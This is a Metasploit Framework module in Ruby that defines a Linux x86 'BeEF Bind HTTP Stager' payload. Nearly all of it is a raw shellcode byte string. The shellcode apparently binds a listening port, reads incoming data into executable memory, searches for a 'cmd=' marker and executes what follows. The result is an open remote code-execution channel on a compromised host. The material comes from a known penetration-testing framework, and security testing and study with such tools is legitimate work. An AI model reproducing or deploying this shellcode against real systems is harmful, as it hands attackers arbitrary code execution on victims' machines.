##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'msf/core/handler/beef_bind'

module MetasploitModule
  include Msf::Payload::Stager
  include Msf::Payload::Linux

  def initialize(info = {})
    super(merge_info(info,
                     'Name' => 'BeEF Bind HTTP Stager',
                     'Description' => 'Proxy web requests between a web browser and a shell',
                     'Author' => ['Bart Leppens'],
                     'License' => BSD_LICENSE,
                     'Platform' => 'linux',
                     'Arch' => ARCH_X86,
                     'Handler' => Msf::Handler::BeefBind,
                     'Convention' => 'beef_bind',
                     'Stager' =>
                        {
                          'RequiresMidstager' => false,
                          'Offsets' => { 'LPORT' => [47, 'n'] },
                          'Payload' =>
                            "\xfc\x31\xc0\x31\xd2\x6a\x01\x5b\x50\x40\x50\x40\x50\x89\xe1\x6a" \
                            "\x66\x58\xcd\x80\x89\xc6\x6a\x0e\x5b\x6a\x04\x54\x6a\x02\x6a\x01" \
                            "\x56\x89\xe1\x6a\x66\x58\xcd\x80\x6a\x02\x5b\x52\x68\x02\x00\x11" \
                            "\x5c\x89\xe1\x6a\x10\x51\x56\x89\xe1\x6a\x66\x58\xcd\x80\x43\x43" \
                            "\x53\x56\x89\xe1\x6a\x66\x58\xcd\x80\x43\x52\x52\x56\x89\xe1\x6a" \
                            "\x66\x58\xcd\x80\x96\x93\xb8\x06\x00\x00\x00\xcd\x80\x6a\x00\x68" \
                            "\xff\xff\xff\xff\x6a\x22\x6a\x07\x68\x00\x10\x00\x00\x6a\x00\x89" \
                            "\xe3\x6a\x5a\x58\xcd\x80\x89\xc7\x66\xba\x00\x10\x89\xf9\x89\xf3" \
                            "\x6a\x03\x58\xcd\x80\x6a\x06\x58\xcd\x80\x81\x3f\x63\x6d\x64\x3d" \
                            "\x74\x03\x47\xeb\xf5\x6a\x04\x58\x01\xc7\xff\xe7"
                        }))
  end
end
